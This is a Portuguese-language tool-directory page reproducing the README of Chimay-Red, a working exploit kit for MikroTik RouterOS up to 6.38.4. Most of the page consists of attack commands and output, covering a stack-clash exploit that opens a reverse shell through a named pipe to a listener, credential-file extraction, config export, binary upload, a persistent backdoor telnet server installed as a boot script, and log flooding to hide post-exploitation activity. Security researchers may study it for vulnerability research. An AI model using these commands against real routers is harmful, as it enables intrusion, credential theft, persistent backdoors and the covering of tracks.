Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Chimay-Red — POC funcional do exploit do Mikrotik dos vazamentos do Vault 7 da CIA | Kitploit
Ferramentas/GitHubGitHub/bignerd95/chimay-red
Segurança de Sistemas EmbarcadosSegurança IoTAnálise de VulnerabilidadesExploraçãoEngenharia ReversaShellcodePós-ExploraçãoTestes de PenetraçãoSegurança de Hardware e IoTDesenvolvimento de PayloadsExploração de Binários
6682137há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubbignerd95/chimay-red

Chimay-Red

POC funcional do exploit do Mikrotik dos vazamentos do Vault 7 da CIA

Ver Repositório

Chimay-Red

Engenharia reversa do exploit do Mikrotik dos vazamentos da CIA do Vault 7

Consulte o PDF para mais informações (não atualizado)

Versões vulneráveis

Até o RouterOS 6.38.4

Novidades na 6.38.5 (2017-Mar-09 11:32):
!) www - corrigida vulnerabilidade do servidor http;

Provas de conceito

CrashPOC

Crash simples enviando -1 como content-length no cabeçalho post

StackClashPOC

Exploit de stack clash usando duas threads, sem ROP chain

Exploits funcionais

Como a ROP é criada dinamicamente, você precisa extrair o binário www do firmware do RouterOS.
(Ele está localizado em /nova/bin/)
Verifique se a versão em execução é a mesma.
Para simplificar a extração você pode usar:

$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary

StackClash_x86

Exploit de stack clash usando duas threads com ROP chain para executar comandos bash

Reverse shell:

Em um shell:

$ nc -l -p 1234 

Em outro shell:

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"

Onde:

  • IP do RouterOS: 192.168.8.1
  • IP do PC: 192.168.8.5

Extrair usuários e senhas

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (aguarde alguns segundos para que o www seja reiniciado)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -

Exportar configurações

Você pode executar comandos no console do Mikrotik com /nova/bin/info.
Ex: /nova/bin/info "/system reboot" irá reiniciar o sistema.

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (é um pouco lento para executar o comando /export)
$ curl -s http://192.168.8.1/winbox/index

StackClash_mips

Exploit de stack clash usando duas threads com ROP chain + shell code para executar comandos bash
Na versão mips do www a stack é RWX, então podemos saltar para a stack.

Você pode executar o mesmo comando bash que a versão x86.

LCD

Comando divertido

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

image

Som do Super Mario

Não faça isso! ;-P

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"

Enviar binários

Para enviar busybox-mips para /ram/busybox
Em um shell:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; } | nc -l -q 0 -p 1234

Em outro shell (observe que este é o comando de reverse shell):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

e aguarde até que a conexão feche automaticamente.
(Assim que o arquivo for enviado, execute novamente o reverse shell (desta vez apenas escutando com nc -l -p 1234) e você encontrará o busybox dentro de /ram/)

Servidor telnet persistente

Você pode executar um script a cada boot criando um script bash em /flash/etc/rc.d/run.d/.
Preste atenção para definir as permissões de execução, ou seu roteador ficará travado no boot e você terá que restaurar o firmware!
Este exemplo habilita um servidor telnet persistente na porta 23000.
Em um shell:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips 
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234

Em outro shell (observe que este é o comando de reverse shell):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

e aguarde até que Done! Rebooting... apareça.
Assim que o roteador estiver ativo novamente:

$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.


MikroTik v6.38.4 (stable)
/ #

StackClash_resock_mips

Reutiliza o socket http para gerar um shell, assim você pode ter um shell sem uma conexão reversa.

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode

Got root ;-)

Enviar binários sem um reverse shell

Para enviar busybox-mips para /ram/busybox

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox   
[...]   
Uploading busybox-mips in /ram/busybox...   
Upload done!
sh: turning off NDELAY mode

Got root ;-)

chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]

Alterar o logo de boot

Apenas arquivos RGB Bitmap de 24 bits (não comprimidos) são suportados.
Tamanho máximo: 160px de largura, 76px de altura
Você pode encontrar um exemplo aqui

$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp  
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode

Got root ;-)

reboot
*** Connection closed by remote host ***

image

Ocultar logs

Para remover os logs após suas ações de pós-exploração

/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"

FAQ

Onde se obtém o arquivo chimay-red.py, do qual este kit de ferramentas depende?

Esta é uma engenharia reversa de documentação vazada da CIA.
Não há chimay-red.py disponível publicamente.

Não consigo entender como o stack clash funciona.

Vou atualizar o PDF assim que tiver tempo suficiente, de qualquer forma:
Sabemos que:

  • cada thread tem 128KB de stack
  • cada stack de cada thread é empilhada no topo da thread anterior.
Baixar ferramenta